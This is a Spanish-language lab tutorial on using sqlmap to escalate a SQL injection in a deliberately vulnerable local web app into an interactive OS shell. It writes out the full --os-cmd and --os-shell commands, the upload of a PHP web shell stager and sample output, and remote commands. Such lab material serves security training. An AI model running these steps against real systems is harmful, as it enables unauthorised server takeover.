Obtener un Shell Interactivo del Sistema Operativo con sqlmap

Kali LinuxBeginner
Practicar Ahora

Introducción

En este laboratorio, aprenderá a utilizar sqlmap, una popular herramienta de pruebas de penetración de código abierto, para escalar una vulnerabilidad de inyección SQL hasta obtener un shell interactivo completo del sistema operativo. Si bien sqlmap es excelente para enumerar y exfiltrar datos de bases de datos, sus capacidades se extienden a obtener el control del servidor subyacente.

Nos centraremos en la característica --os-shell, que intenta cargar un web shell (un stager) en el servidor de destino, proporcionándole un prompt de comandos para interactuar directamente con el sistema remoto. Para este laboratorio, se ha configurado una aplicación web simple vulnerable a la inyección SQL y se está ejecutando en su máquina local.

Confirmar la Posibilidad de Ejecución de Comandos del Sistema Operativo

En este paso, antes de intentar obtener un shell interactivo completo, primero verificaremos que podemos ejecutar comandos en el sistema operativo de destino. Esta es una verificación preliminar crucial. Podemos lograr esto utilizando la bandera --os-cmd en sqlmap, que instruye a la herramienta a ejecutar un único comando especificado.

Utilizaremos el comando whoami, que imprime el nombre de usuario efectivo del usuario actual. También utilizaremos la bandera --batch para permitir que sqlmap se ejecute con sus respuestas predeterminadas a todas las preguntas interactivas, haciendo el proceso más rápido.

Ejecute el siguiente comando en su terminal:

sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --os-cmd="whoami" --batch

Verá mucha salida mientras sqlmap prueba el objetivo. Espere a que complete. Hacia el final de la salida, debería ver el resultado del comando whoami.

...
[22:10:30] [INFO] fetching command output
[22:10:30] [INFO] retrieved: 'labex\n'
...
command execution stdout:
labex
...

La salida labex confirma que podemos ejecutar comandos con éxito en el servidor remoto como el usuario labex.

Usar la bandera --os-shell para solicitar un shell interactivo

En este paso, prepararemos el comando para obtener un shell interactivo completo. Ahora que hemos confirmado que la ejecución de comandos del sistema operativo es posible, podemos proceder con mayor confianza.

La bandera de sqlmap para esto es --os-shell. Cuando se utiliza esta bandera, sqlmap intentará cargar un "stager", que es una pequeña pieza de código (en este caso, un web shell en PHP), en un directorio escribible en el servidor web. Este stager proporciona el mecanismo para un shell de comandos interactivo.

El comando que utilizaremos es:

sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --os-shell

Cuando ejecute este comando en el siguiente paso, sqlmap lo guiará a través de algunas indicaciones para determinar la mejor manera de cargar el stager. No ejecutaremos el comando en este paso, sino que simplemente comprenderemos su propósito.

Ejecutar el Comando para Iniciar el Shell

En este paso, ejecutará el comando para iniciar el shell interactivo. sqlmap le pedirá su entrada para determinar el lenguaje de la aplicación web y la raíz del documento del servidor (la carpeta principal del sitio web).

Primero, ejecute el comando en su terminal:

sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --os-shell

sqlmap se iniciará y puede que le haga algunas preguntas.

  1. Podría preguntar sobre el DBMS de back-end. Puede presionar Enter para aceptar el valor predeterminado que probablemente ya ha detectado (por ejemplo, SQLite).

  2. Luego le pedirá la raíz del documento del servidor web. Este es un paso crítico. sqlmap necesita conocer un directorio escribible para cargar su web shell. Según nuestro script de configuración, la ruta correcta es /home/labex/project/vulnerable_app.

    [?] what is the web server document root? [/var/www/html] >

    Escriba la siguiente ruta y presione Enter:

    /home/labex/project/vulnerable_app

Después de proporcionar la ruta, sqlmap intentará cargar el stager. Si tiene éxito, verá mensajes que indican la carga y se le presentará un nuevo prompt: os-shell>.

...
[22:15:45] [INFO] trying to upload stager shell to '/home/labex/project/vulnerable_app'
[22:15:45] [INFO] uploading stager shell to '/home/labex/project/vulnerable_app/tmpueyge.php'
[22:15:45] [INFO] stager shell uploaded
os-shell>

Este prompt os-shell> es su shell interactivo en el servidor remoto.

Interactuar con el Sistema Remoto a través del Prompt del Shell de sqlmap

En este paso, interactuará con el sistema remoto utilizando el prompt os-shell> que acaba de obtener. Este prompt no es su terminal local; cada comando que escriba aquí se envía al servidor remoto y se ejecuta.

Ejecutemos un par de comandos sencillos para verificar nuestro acceso.

Primero, averigüe el directorio de trabajo actual en el servidor remoto escribiendo pwd y presionando Enter.

os-shell > pwd

La salida debería ser el directorio donde sqlmap cargó su archivo stager.

/home/labex/project/vulnerable_app

A continuación, confirme su identidad de usuario en el sistema remoto nuevamente escribiendo whoami.

os-shell > whoami

La salida debería ser nuevamente labex.

labex

Ahora ha ejecutado comandos de forma interactiva en el sistema objetivo con éxito.

Ejecutar Múltiples Comandos y Explorar el Sistema de Archivos

En este paso, realizará una exploración adicional del sistema de archivos remoto. Un shell interactivo es potente porque le permite navegar por directorios, ver archivos y comprender la disposición del servidor.

Primero, liste el contenido del directorio actual (/home/labex/project/vulnerable_app) en formato largo utilizando el comando ls -l.

os-shell > ls -l

Verá los archivos en este directorio, incluyendo index.php, users.db, y el shell web PHP temporal cargado por sqlmap (por ejemplo, tmpueyge.php).

total 20
-rw-r--r-- 1 labex labex  539 Dec 10 22:05 index.php
-rw-r--r-- 1 labex labex   45 Dec 10 22:15 tmpueyge.php
-rw-r--r-- 1 labex labex 12288 Dec 10 22:05 users.db

Ahora, intentemos navegar por el sistema de archivos. Muévase al directorio padre (/home/labex/project) usando el comando cd ...

os-shell > cd ..

No verá ninguna salida, pero su directorio actual en el servidor remoto ha cambiado. Verifique esto listando el contenido del nuevo directorio.

os-shell > ls

Debería ver listado el directorio vulnerable_app.

vulnerable_app

Ahora es libre de explorar el sistema de archivos dentro de los permisos del usuario labex. Para salir del shell de sqlmap y regresar a su terminal normal, simplemente escriba exit y presione Enter.

Resumen

En este laboratorio, ha escalado con éxito una vulnerabilidad de inyección SQL para obtener acceso completo a la línea de comandos de un servidor remoto. Ha aprendido a:

  • Utilizar la bandera --os-cmd de sqlmap para confirmar que la ejecución de comandos del sistema operativo es posible.
  • Emplear la bandera --os-shell para instruir a sqlmap a establecer un shell interactivo.
  • Proporcionar información necesaria, como la raíz del documento del servidor web, para facilitar la carga de un web shell.
  • Interactuar con el sistema remoto ejecutando comandos como pwd, whoami, ls y cd a través del shell de sqlmap.

Este ejercicio demuestra el riesgo de seguridad crítico que plantean las vulnerabilidades de inyección SQL, ya que pueden conducir no solo al robo de datos, sino a una completa compromiso del sistema.